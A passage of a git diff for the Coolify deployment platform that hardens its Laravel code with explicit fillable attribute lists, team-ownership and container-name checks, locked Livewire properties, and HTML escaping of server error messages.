$project = Project::ownedByCurrentTeam()->where('uuid', $this->parameters['project_uuid'])->firstOrFail(); + $environment = $project->environments()->where('uuid', $this->parameters['environment_uuid'])->firstOrFail(); $port = get_port_from_dockerfile($this->dockerfile); if (! $port) { $port = 80; } - $application = Application::create([ + $application = Application::forceCreate([ 'name' => 'dockerfile-'.new Cuid2, 'repository_project_id' => 0, 'git_repository' => 'coollabsio/coolify', diff --git a/app/Livewire/Project/Resource/Create.php b/app/Livewire/Project/Resource/Create.php index 966c66a14..dbe56b079 100644 --- a/app/Livewire/Project/Resource/Create.php +++ b/app/Livewire/Project/Resource/Create.php @@ -91,7 +91,7 @@ public function mount() if (in_array($oneClickServiceName, NEEDS_TO_CONNECT_TO_PREDEFINED_NETWORK)) { data_set($service_payload, 'connect_to_docker_network', true); } - $service = Service::create($service_payload); + $service = Service::forceCreate($service_payload); $service->name = "$oneClickServiceName-".$service->uuid; $service->save(); if ($oneClickDotEnvs?->count() > 0) { diff --git a/app/Livewire/Project/Service/Index.php b/app/Livewire/Project/Service/Index.php index c77a3a516..cb2d977bc 100644 --- a/app/Livewire/Project/Service/Index.php +++ b/app/Livewire/Project/Service/Index.php @@ -51,9 +51,9 @@ class Index extends Component public bool $excludeFromStatus = false; - public ?int $publicPort = null; + public mixed $publicPort = null; - public ?int $publicPortTimeout = 3600; + public mixed $publicPortTimeout = 3600; public bool $isPublic = false; @@ -91,7 +91,7 @@ class Index extends Component 'description' => 'nullable', 'image' => 'required', 'excludeFromStatus' => 'required|boolean', - 'publicPort' => 'nullable|integer', + 'publicPort' => 'nullable|integer|min:1|max:65535', 'publicPortTimeout' => 'nullable|integer|min:1', 'isPublic' => 'required|boolean', 'isLogDrainEnabled' => 'required|boolean', @@ -160,8 +160,8 @@ private function syncDatabaseData(bool $toModel = false): void $this->serviceDatabase->description = $this->description; $this->serviceDatabase->image = $this->image; $this->serviceDatabase->exclude_from_status = $this->excludeFromStatus; - $this->serviceDatabase->public_port = $this->publicPort; - $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout; + $this->serviceDatabase->public_port = $this->publicPort ?: null; + $this->serviceDatabase->public_port_timeout = $this->publicPortTimeout ?: null; $this->serviceDatabase->is_public = $this->isPublic; $this->serviceDatabase->is_log_drain_enabled = $this->isLogDrainEnabled; } else { diff --git a/app/Livewire/Project/Shared/GetLogs.php b/app/Livewire/Project/Shared/GetLogs.php index 22605e1bb..d0121bdc5 100644 --- a/app/Livewire/Project/Shared/GetLogs.php +++ b/app/Livewire/Project/Shared/GetLogs.php @@ -16,7 +16,9 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; +use App\Support\ValidationPatterns; use Illuminate\Support\Facades\Process; +use Livewire\Attributes\Locked; use Livewire\Component; class GetLogs extends Component @@ -29,12 +31,16 @@ class GetLogs extends Component public string $errors = ''; + #[Locked] public Application|Service|StandalonePostgresql|StandaloneRedis|StandaloneMongodb|StandaloneMysql|StandaloneMariadb|StandaloneKeydb|StandaloneDragonfly|StandaloneClickhouse|null $resource = null; + #[Locked] public ServiceApplication|ServiceDatabase|null $servicesubtype = null; + #[Locked] public Server $server; + #[Locked] public ?string $container = null; public ?string $displayName = null; @@ -54,7 +60,7 @@ class GetLogs extends Component public function mount() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->showTimeStamps = $this->resource->settings->is_include_timestamps; } else { if ($this->servicesubtype) { @@ -63,7 +69,7 @@ public function mount() $this->showTimeStamps = $this->resource->is_include_timestamps; } } - if ($this->resource?->getMorphClass() === \App\Models\Application::class) { + if ($this->resource?->getMorphClass() === Application::class) { if (str($this->container)->contains('-pr-')) { $this->pull_request = 'Pull Request: '.str($this->container)->afterLast('-pr-')->beforeLast('_')->value(); } @@ -74,11 +80,11 @@ public function mount() public function instantSave() { if (! is_null($this->resource)) { - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $this->resource->settings->is_include_timestamps = $this->showTimeStamps; $this->resource->settings->save(); } - if ($this->resource->getMorphClass() === \App\Models\Service::class) { + if ($this->resource->getMorphClass() === Service::class) { $serviceName = str($this->container)->beforeLast('-')->value(); $subType = $this->resource->applications()->where('name', $serviceName)->first(); if ($subType) { @@ -118,10 +124,20 @@ public function toggleStreamLogs() public function getLogs($refresh = false) { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + $this->outputs = 'Unauthorized.'; + + return; + } if (! $this->server->isFunctional()) { return; } - if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === \App\Models\Service::class || str($this->container)->contains('-pr-'))) { + if ($this->container && ! ValidationPatterns::isValidContainerName($this->container)) { + $this->outputs = 'Invalid container name.'; + + return; + } + if (! $refresh && ! $this->expandByDefault && ($this->resource?->getMorphClass() === Service::class || str($this->container)->contains('-pr-'))) { return; } if ($this->numberOfLines <= 0 || is_null($this->numberOfLines)) { @@ -194,9 +210,15 @@ public function copyLogs(): string public function downloadAllLogs(): string { + if (! Server::ownedByCurrentTeam()->where('id', $this->server->id)->exists()) { + return ''; + } if (! $this->server->isFunctional() || ! $this->container) { return ''; } + if (! ValidationPatterns::isValidContainerName($this->container)) { + return ''; + } if ($this->showTimeStamps) { if ($this->server->isSwarm()) { diff --git a/app/Livewire/Project/Shared/ResourceOperations.php b/app/Livewire/Project/Shared/ResourceOperations.php index e769e4bcb..301c51be9 100644 --- a/app/Livewire/Project/Shared/ResourceOperations.php +++ b/app/Livewire/Project/Shared/ResourceOperations.php @@ -7,9 +7,18 @@ use App\Actions\Service\StartService; use App\Actions\Service\StopService; use App\Jobs\VolumeCloneJob; +use App\Models\Application; use App\Models\Environment; use App\Models\Project; +use App\Models\StandaloneClickhouse; use App\Models\StandaloneDocker; +use App\Models\StandaloneDragonfly; +use App\Models\StandaloneKeydb; +use App\Models\StandaloneMariadb; +use App\Models\StandaloneMongodb; +use App\Models\StandaloneMysql; +use App\Models\StandalonePostgresql; +use App\Models\StandaloneRedis; use App\Models\SwarmDocker; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -60,7 +69,7 @@ public function cloneTo($destination_id) $uuid = (string) new Cuid2; $server = $new_destination->server; - if ($this->resource->getMorphClass() === \App\Models\Application::class) { + if ($this->resource->getMorphClass() === Application::class) { $new_resource = clone_application($this->resource, $new_destination, ['uuid' => $uuid], $this->cloneVolumeData); $route = route('project.application.configuration', [ @@ -71,21 +80,21 @@ public function cloneTo($destination_id) return redirect()->to($route); } elseif ( - $this->resource->getMorphClass() === \App\Models\StandalonePostgresql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMongodb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMysql::class || - $this->resource->getMorphClass() === \App\Models\StandaloneMariadb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneRedis::class || - $this->resource->getMorphClass() === \App\Models\StandaloneKeydb::class || - $this->resource->getMorphClass() === \App\Models\StandaloneDragonfly::class || - $this->resource->getMorphClass() === \App\Models\StandaloneClickhouse::class + $this->resource->getMorphClass() === StandalonePostgresql::class || + $this->resource->getMorphClass() === StandaloneMongodb::class || + $this->resource->getMorphClass() === StandaloneMysql::class || + $this->resource->getMorphClass() === StandaloneMariadb::class || + $this->resource->getMorphClass() === StandaloneRedis::class || + $this->resource->getMorphClass() === StandaloneKeydb::class || + $this->resource->getMorphClass() === StandaloneDragonfly::class || + $this->resource->getMorphClass() === StandaloneClickhouse::class ) { $uuid = (string) new Cuid2; $new_resource = $this->resource->replicate([ 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'status' => 'exited', @@ -133,7 +142,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $new_resource->id, ]); @@ -162,7 +172,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resource_id' => $new_resource->id, ]); $newStorage->save(); @@ -175,7 +185,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'database_id' => $new_resource->id, 'database_type' => $new_resource->getMorphClass(), @@ -194,7 +204,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill($payload); + ])->forceFill($payload); $newEnvironmentVariable->save(); } @@ -211,7 +221,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => $uuid, 'name' => $this->resource->name.'-clone-'.$uuid, 'destination_id' => $new_destination->id, @@ -232,7 +242,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'uuid' => (string) new Cuid2, 'service_id' => $new_resource->id, 'team_id' => currentTeam()->id, @@ -246,7 +256,7 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + ])->forceFill([ 'resourceable_id' => $new_resource->id, 'resourceable_type' => $new_resource->getMorphClass(), ]); @@ -254,9 +264,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->applications() as $application) { - $application->update([ + $application->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $application->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -271,7 +281,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $application->id, ]); @@ -296,9 +307,9 @@ public function cloneTo($destination_id) } foreach ($new_resource->databases() as $database) { - $database->update([ + $database->forceFill([ 'status' => 'exited', - ]); + ])->save(); $persistentVolumes = $database->persistentStorages()->get(); foreach ($persistentVolumes as $volume) { @@ -313,7 +324,8 @@ public function cloneTo($destination_id) 'id', 'created_at', 'updated_at', - ])->fill([ + 'uuid', + ])->forceFill([ 'name' => $newName, 'resource_id' => $database->id, ]); @@ -354,9 +366,9 @@ public function moveTo($environment_id) try { $this->authorize('update', $this->resource); $new_environment = Environment::ownedByCurrentTeam()->findOrFail($environment_id); - $this->resource->update([ + $this->resource->forceFill([ 'environment_id' => $environment_id, - ]); + ])->save(); if ($this->resource->type() === 'application') { $route = route('project.application.configuration', [ 'project_uuid' => $new_environment->project->uuid, diff --git a/app/Livewire/Project/Shared/ScheduledTask/Show.php b/app/Livewire/Project/Shared/ScheduledTask/Show.php index 02c13a66c..882737f09 100644 --- a/app/Livewire/Project/Shared/ScheduledTask/Show.php +++ b/app/Livewire/Project/Shared/ScheduledTask/Show.php @@ -52,9 +52,15 @@ class Show extends Component #[Locked] public string $task_uuid; - public function mount(string $task_uuid, string $project_uuid, string $environment_uuid, ?string $application_uuid = null, ?string $service_uuid = null) + public function mount() { try { + $task_uuid = request()->route('task_uuid'); + $project_uuid = request()->route('project_uuid'); + $environment_uuid = request()->route('environment_uuid'); + $application_uuid = request()->route('application_uuid'); + $service_uuid = request()->route('service_uuid'); + $this->task_uuid = $task_uuid; if ($application_uuid) { $this->type = 'application'; @@ -105,6 +111,19 @@ public function syncData(bool $toModel = false) } } + public function toggleEnabled() + { + try { + $this->authorize('update', $this->resource); + $this->isEnabled = ! $this->isEnabled; + $this->task->enabled = $this->isEnabled; + $this->task->save(); + $this->dispatch('success', $this->isEnabled ? 'Scheduled task enabled.' : 'Scheduled task disabled.'); + } catch (\Exception $e) { + return handleError($e); + } + } + public function instantSave() { try { diff --git a/app/Livewire/Project/Show.php b/app/Livewire/Project/Show.php index e884abb4e..b9628dd0d 100644 --- a/app/Livewire/Project/Show.php +++ b/app/Livewire/Project/Show.php @@ -42,7 +42,7 @@ public function submit() { try { $this->validate(); - $environment = Environment::create([ + $environment = Environment::forceCreate([ 'name' => $this->name, 'project_id' => $this->project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Livewire/Server/Destinations.php b/app/Livewire/Server/Destinations.php index 117b43ad6..f41ca00f3 100644 --- a/app/Livewire/Server/Destinations.php +++ b/app/Livewire/Server/Destinations.php @@ -43,7 +43,7 @@ public function add($name) return; } else { - SwarmDocker::create([ + SwarmDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $this->name, 'server_id' => $this->server->id, @@ -57,7 +57,7 @@ public function add($name) return; } else { - StandaloneDocker::create([ + StandaloneDocker::forceCreate([ 'name' => $this->server->name.'-'.$name, 'network' => $name, 'server_id' => $this->server->id, diff --git a/app/Livewire/Server/PrivateKey/Show.php b/app/Livewire/Server/PrivateKey/Show.php index fd55717fa..810b95ed4 100644 --- a/app/Livewire/Server/PrivateKey/Show.php +++ b/app/Livewire/Server/PrivateKey/Show.php @@ -63,7 +63,8 @@ public function checkConnection() $this->dispatch('success', 'Server is reachable.'); $this->dispatch('refreshServerShow'); } else { - $this->dispatch('error', 'Server is not reachable.

Check this documentation for further help.

Error: '.$error); + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->dispatch('error', 'Server is not reachable.

Check this documentation for further help.

Error: '.$sanitizedError); return; } diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index 198d823b9..59ca4cd36 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -89,7 +89,8 @@ public function validateConnection() $this->authorize('update', $this->server); ['uptime' => $this->uptime, 'error' => $error] = $this->server->validateConnection(); if (! $this->uptime) { - $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$error.'
'; + $sanitizedError = htmlspecialchars($error ?? '', ENT_QUOTES, 'UTF-8'); + $this->error = 'Server is not reachable. Please validate your configuration and connection.
Check this documentation for further help.

Error: '.$sanitizedError.'
'; $this->server->update([ 'validation_logs' => $this->error, ]); diff --git a/app/Livewire/Settings/Advanced.php b/app/Livewire/Settings/Advanced.php index ad478273f..9e4f94f8a 100644 --- a/app/Livewire/Settings/Advanced.php +++ b/app/Livewire/Settings/Advanced.php @@ -157,6 +157,19 @@ public function instantSave() } } + public function toggleRegistration($password): bool + { + if (! verifyPasswordConfirmation($password, $this)) { + return false; + } + + $this->settings->is_registration_enabled = $this->is_registration_enabled = true; + $this->settings->save(); + $this->dispatch('success', 'Registration has been enabled.'); + + return true; + } + public function toggleTwoStepConfirmation($password): bool { if (! verifyPasswordConfirmation($password, $this)) { diff --git a/app/Livewire/SettingsBackup.php b/app/Livewire/SettingsBackup.php index 84f5c6081..a111a6096 100644 --- a/app/Livewire/SettingsBackup.php +++ b/app/Livewire/SettingsBackup.php @@ -6,6 +6,7 @@ use App\Models\S3Storage; use App\Models\ScheduledDatabaseBackup; use App\Models\Server; +use App\Models\StandaloneDocker; use App\Models\StandalonePostgresql; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; @@ -82,7 +83,7 @@ public function addCoolifyDatabase() $postgres_password = $envs['POSTGRES_PASSWORD']; $postgres_user = $envs['POSTGRES_USER']; $postgres_db = $envs['POSTGRES_DB']; - $this->database = StandalonePostgresql::create([ + $this->database = StandalonePostgresql::forceCreate([ 'id' => 0, 'name' => 'coolify-db', 'description' => 'Coolify database', @@ -90,7 +91,7 @@ public function addCoolifyDatabase() 'postgres_password' => $postgres_password, 'postgres_db' => $postgres_db, 'status' => 'running', - 'destination_type' => \App\Models\StandaloneDocker::class, + 'destination_type' => StandaloneDocker::class, 'destination_id' => 0, ]); $this->backup = ScheduledDatabaseBackup::create([ @@ -99,7 +100,7 @@ public function addCoolifyDatabase() 'save_s3' => false, 'frequency' => '0 0 * * *', 'database_id' => $this->database->id, - 'database_type' => \App\Models\StandalonePostgresql::class, + 'database_type' => StandalonePostgresql::class, 'team_id' => currentTeam()->id, ]); $this->database->refresh(); diff --git a/app/Models/Application.php b/app/Models/Application.php index c446052b3..bdc76eb33 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -118,7 +118,92 @@ class Application extends BaseModel private static $parserVersion = '5'; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + 'fqdn', + 'git_repository', + 'git_branch', + 'git_commit_sha', + 'git_full_url', + 'docker_registry_image_name', + 'docker_registry_image_tag', + 'build_pack', + 'static_image', + 'install_command', + 'build_command', + 'start_command', + 'ports_exposes', + 'ports_mappings', + 'base_directory', + 'publish_directory', + 'health_check_enabled', + 'health_check_path', + 'health_check_port', + 'health_check_host', + 'health_check_method', + 'health_check_return_code', + 'health_check_scheme', + 'health_check_response_text', + 'health_check_interval', + 'health_check_timeout', + 'health_check_retries', + 'health_check_start_period', + 'health_check_type', + 'health_check_command', + 'limits_memory', + 'limits_memory_swap', + 'limits_memory_swappiness', + 'limits_memory_reservation', + 'limits_cpus', + 'limits_cpuset', + 'limits_cpu_shares', + 'status', + 'preview_url_template', + 'dockerfile', + 'dockerfile_location', + 'dockerfile_target_build', + 'custom_labels', + 'custom_docker_run_options', + 'post_deployment_command', + 'post_deployment_command_container', + 'pre_deployment_command', + 'pre_deployment_command_container', + 'manual_webhook_secret_github', + 'manual_webhook_secret_gitlab', + 'manual_webhook_secret_bitbucket', + 'manual_webhook_secret_gitea', + 'docker_compose_location', + 'docker_compose_pr_location', + 'docker_compose', + 'docker_compose_pr', + 'docker_compose_raw', + 'docker_compose_pr_raw', + 'docker_compose_domains', + 'docker_compose_custom_start_command', + 'docker_compose_custom_build_command', + 'swarm_replicas', + 'swarm_placement_constraints', + 'watch_paths', + 'redirect', + 'compose_parsing_version', + 'custom_nginx_configuration', + 'custom_network_aliases', + 'custom_healthcheck_found', + 'nixpkgsarchive', + 'is_http_basic_auth_enabled', + 'http_basic_auth_username', + 'http_basic_auth_password', + 'connect_to_docker_network', + 'force_domain_override', + 'is_container_label_escape_enabled', + 'use_build_server', + 'config_hash', + 'last_online_at', + 'restart_count', + 'last_restart_at', + 'last_restart_type', + ]; protected $appends = ['server_status']; @@ -214,7 +299,7 @@ protected static function booted() } }); static::created(function ($application) { - ApplicationSetting::create([ + ApplicationSetting::forceCreate([ 'application_id' => $application->id, ]); $application->compose_parsing_version = self::$parserVersion; @@ -1051,7 +1136,7 @@ public function isLogDrainEnabled() public function isConfigurationChanged(bool $save = false) { - $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets.$this->settings->inject_build_args_to_dockerfile.$this->settings->include_source_commit_in_build); + $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings?->use_build_secrets.$this->settings?->inject_build_args_to_dockerfile.$this->settings?->include_source_commit_in_build); if ($this->pull_request_id === 0 || $this->pull_request_id === null) { $newConfigHash .= json_encode($this->environment_variables()->get(['value', 'is_multiline', 'is_literal', 'is_buildtime', 'is_runtime'])->sort()); } else { @@ -1145,7 +1230,7 @@ public function getGitRemoteStatus(string $deployment_uuid) 'is_accessible' => true, 'error' => null, ]; - } catch (\RuntimeException $ex) { + } catch (RuntimeException $ex) { return [ 'is_accessible' => false, 'error' => $ex->getMessage(), @@ -1202,7 +1287,7 @@ public function generateGitLsRemoteCommands(string $deployment_uuid, bool $exec_ ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1354,7 +1439,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req $source_html_url_host = $url['host']; $source_html_url_scheme = $url['scheme']; - if ($this->source->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->source->getMorphClass() === GithubApp::class) { if ($this->source->is_public) { $fullRepoUrl = "{$this->source->html_url}/{$customRepository}"; $escapedRepoUrl = escapeshellarg("{$this->source->html_url}/{$customRepository}"); @@ -1409,7 +1494,7 @@ public function generateGitImportCommands(string $deployment_uuid, int $pull_req ]; } - if ($this->source->getMorphClass() === \App\Models\GitlabApp::class) { + if ($this->source->getMorphClass() === GitlabApp::class) { $gitlabSource = $this->source; $private_key = data_get($gitlabSource, 'privateKey.private_key'); @@ -1600,7 +1685,7 @@ public function oldRawParser() try { $yaml = Yaml::parse($this->docker_compose_raw); } catch (\Exception $e) { - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException($e->getMessage()); } $services = data_get($yaml, 'services'); @@ -1682,7 +1767,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $fileList = collect([".$workdir$composeFile"]); $gitRemoteStatus = $this->getGitRemoteStatus(deployment_uuid: $uuid); if (! $gitRemoteStatus['is_accessible']) { - throw new \RuntimeException("Failed to read Git source:\n\n{$gitRemoteStatus['error']}"); + throw new RuntimeException('Failed to read Git source. Please verify repository access and try again.'); } $getGitVersion = instant_remote_process(['git --version'], $this->destination->server, false); $gitVersion = str($getGitVersion)->explode(' ')->last(); @@ -1732,15 +1817,15 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->save(); if (str($e->getMessage())->contains('No such file')) { - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } if (str($e->getMessage())->contains('fatal: repository') && str($e->getMessage())->contains('does not exist')) { if ($this->deploymentType() === 'deploy_key') { - throw new \RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); + throw new RuntimeException('Your deploy key does not have access to the repository. Please check your deploy key and try again.'); } - throw new \RuntimeException('Repository does not exist. Please check your repository URL and try again.'); + throw new RuntimeException('Repository does not exist. Please check your repository URL and try again.'); } - throw new \RuntimeException($e->getMessage()); + throw new RuntimeException('Failed to read the Docker Compose file from the repository.'); } finally { // Cleanup only - restoration happens in catch block $commands = collect([ @@ -1793,7 +1878,7 @@ public function loadComposeFile($isInit = false, ?string $restoreBaseDirectory = $this->base_directory = $initialBaseDirectory; $this->save(); - throw new \RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); + throw new RuntimeException("Docker Compose file not found at: $workdir$composeFile (branch: {$this->git_branch})

Check if you used the right extension (.yaml or .yml) in the compose file name."); } } diff --git a/app/Models/ApplicationDeploymentQueue.php b/app/Models/ApplicationDeploymentQueue.php index 34257e7a7..21cb58abe 100644 --- a/app/Models/ApplicationDeploymentQueue.php +++ b/app/Models/ApplicationDeploymentQueue.php @@ -16,6 +16,7 @@ 'application_id' => ['type' => 'string'], 'deployment_uuid' => ['type' => 'string'], 'pull_request_id' => ['type' => 'integer'], + 'docker_registry_image_tag' => ['type' => 'string', 'nullable' => true], 'force_rebuild' => ['type' => 'boolean'], 'commit' => ['type' => 'string'], 'status' => ['type' => 'string'], @@ -39,9 +40,35 @@ )] class ApplicationDeploymentQueue extends Model { - protected $guarded = []; + protected $fillable = [ + 'application_id', + 'deployment_uuid', + 'pull_request_id', + 'force_rebuild', + 'commit', + 'status', + 'is_webhook', + 'logs', + 'current_process_id', + 'restart_only', + 'git_type', + 'server_id', + 'application_name', + 'server_name', + 'deployment_url', + 'destination_id', + 'only_this_server', + 'rollback', + 'commit_message', + 'is_api', + 'build_server_id', + 'horizon_job_id', + 'horizon_job_worker', + 'finished_at', + ]; protected $casts = [ + 'pull_request_id' => 'integer', 'finished_at' => 'datetime', ]; diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index b8a8a5a85..818f96d8e 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -10,7 +10,22 @@ class ApplicationPreview extends BaseModel { use SoftDeletes; - protected $guarded = []; + protected $fillable = [ + 'application_id', + 'pull_request_id', + 'pull_request_html_url', + 'pull_request_issue_comment_id', + 'fqdn', + 'status', + 'git_type', + 'docker_compose_domains', + 'docker_registry_image_tag', + 'last_online_at', + ]; + + protected $casts = [ + 'pull_request_id' => 'integer', + ]; protected static function booted() { @@ -69,7 +84,7 @@ public function application() public function persistentStorages() { - return $this->morphMany(\App\Models\LocalPersistentVolume::class, 'resource'); + return $this->morphMany(LocalPersistentVolume::class, 'resource'); } public function generate_preview_fqdn() diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index f40977b3e..24b35df7f 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -28,7 +28,42 @@ class ApplicationSetting extends Model 'docker_images_to_keep' => 'integer', ]; - protected $guarded = []; + protected $fillable = [ + 'is_static', + 'is_git_submodules_enabled', + 'is_git_lfs_enabled', + 'is_auto_deploy_enabled', + 'is_force_https_enabled', + 'is_debug_enabled', + 'is_preview_deployments_enabled', + 'is_log_drain_enabled', + 'is_gpu_enabled', + 'gpu_driver', + 'gpu_count', + 'gpu_device_ids', + 'gpu_options', + 'is_include_timestamps', + 'is_swarm_only_worker_nodes', + 'is_raw_compose_deployment_enabled', + 'is_build_server_enabled', + 'is_consistent_container_name_enabled', + 'is_gzip_enabled', + 'is_stripprefix_enabled', + 'connect_to_docker_network', + 'custom_internal_name', + 'is_container_label_escape_enabled', + 'is_env_sorting_enabled', + 'is_container_label_readonly_enabled', + 'is_preserve_repository_enabled', + 'disable_build_cache', + 'is_spa', + 'is_git_shallow_clone_enabled', + 'is_pr_deployments_public_enabled', + 'use_build_secrets', + 'inject_build_args_to_dockerfile', + 'include_source_commit_in_build', + 'docker_images_to_keep', + ]; public function isStatic(): Attribute { diff --git a/app/Models/CloudProviderToken.php b/app/Models/CloudProviderToken.php index 700ab0992..123376c9b 100644 --- a/app/Models/CloudProviderToken.php +++ b/app/Models/CloudProviderToken.php @@ -4,7 +4,11 @@ class CloudProviderToken extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'provider', + 'token', + 'name', + ]; protected $casts = [ 'token' => 'encrypted', diff --git a/app/Models/DiscordNotificationSettings.php b/app/Models/DiscordNotificationSettings.php index 23e1f0f12..e86598126 100644 --- a/app/Models/DiscordNotificationSettings.php +++ b/app/Models/DiscordNotificationSettings.php @@ -24,7 +24,8 @@ class DiscordNotificationSettings extends Model 'backup_failure_discord_notifications', 'scheduled_task_success_discord_notifications', 'scheduled_task_failure_discord_notifications', - 'docker_cleanup_discord_notifications', + 'docker_cleanup_success_discord_notifications', + 'docker_cleanup_failure_discord_notifications', 'server_disk_usage_discord_notifications', 'server_reachable_discord_notifications', 'server_unreachable_discord_notifications', diff --git a/app/Models/DockerCleanupExecution.php b/app/Models/DockerCleanupExecution.php index 405037e30..280277951 100644 --- a/app/Models/DockerCleanupExecution.php +++ b/app/Models/DockerCleanupExecution.php @@ -6,7 +6,13 @@ class DockerCleanupExecution extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'server_id', + 'status', + 'message', + 'cleanup_log', + 'finished_at', + ]; public function server(): BelongsTo { diff --git a/app/Models/EmailNotificationSettings.php b/app/Models/EmailNotificationSettings.php index ee31a49b6..1277e45d9 100644 --- a/app/Models/EmailNotificationSettings.php +++ b/app/Models/EmailNotificationSettings.php @@ -34,7 +34,11 @@ class EmailNotificationSettings extends Model 'backup_failure_email_notifications', 'scheduled_task_success_email_notifications', 'scheduled_task_failure_email_notifications', + 'docker_cleanup_success_email_notifications', + 'docker_cleanup_failure_email_notifications', 'server_disk_usage_email_notifications', + 'server_reachable_email_notifications', + 'server_unreachable_email_notifications', 'server_patch_email_notifications', 'traefik_outdated_email_notifications', ]; diff --git a/app/Models/Environment.php b/app/Models/Environment.php index d4e614e6e..55ce93265 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -25,7 +25,10 @@ class Environment extends BaseModel use HasFactory; use HasSafeStringAttribute; - protected $guarded = []; + protected $fillable = [ + 'name', + 'description', + ]; protected static function booted() { diff --git a/app/Models/GithubApp.php b/app/Models/GithubApp.php index ab82c9a9c..3cffeb8f8 100644 --- a/app/Models/GithubApp.php +++ b/app/Models/GithubApp.php @@ -6,7 +6,25 @@ class GithubApp extends BaseModel { - protected $guarded = []; + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_user', + 'custom_port', + 'app_id', + 'installation_id', + 'client_id', + 'client_secret', + 'webhook_secret', + 'is_system_wide', + 'is_public', + 'contents', + 'metadata', + 'pull_requests', + 'administration', + ]; protected $appends = ['type']; @@ -92,7 +110,7 @@ public function type(): Attribute { return Attribute::make( get: function () { - if ($this->getMorphClass() === \App\Models\GithubApp::class) { + if ($this->getMorphClass() === GithubApp::class) { return 'github'; } }, diff --git a/app/Models/GitlabApp.php b/app/Models/GitlabApp.php index 2112a4a66..06df8fd8d 100644 --- a/app/Models/GitlabApp.php +++ b/app/Models/GitlabApp.php @@ -4,6 +4,24 @@ class GitlabApp extends BaseModel { + protected $fillable = [ + 'name', + 'organization', + 'api_url', + 'html_url', + 'custom_port', + 'custom_user', + 